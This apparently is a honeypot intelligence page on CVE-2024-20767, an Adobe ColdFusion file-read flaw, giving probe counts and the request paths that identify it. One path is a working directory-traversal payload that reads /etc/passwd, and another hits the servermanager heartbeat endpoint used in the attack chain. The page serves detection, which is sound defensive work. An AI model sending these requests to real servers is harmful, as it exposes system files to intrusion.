CVE-2024-20767: Adobe ColdFusion - Arbitrary File Read

HoneyLabs honeypots recorded 1 probes matching CVE-2024-20767 from 1 distinct source IP addresses in the last 7 days. Severity is rated high.

This CVE is on CISA's Known Exploited Vulnerabilities list.

Request paths that identify it

• /hax/../pms?module=logging&file_name=../../../../../../../../../../../../../../../../../../etc/passwd&number_of_lines=10…
• /hax/..CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat

Addresses probing it

Networks it comes from

Captured requests

• /hax/..CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat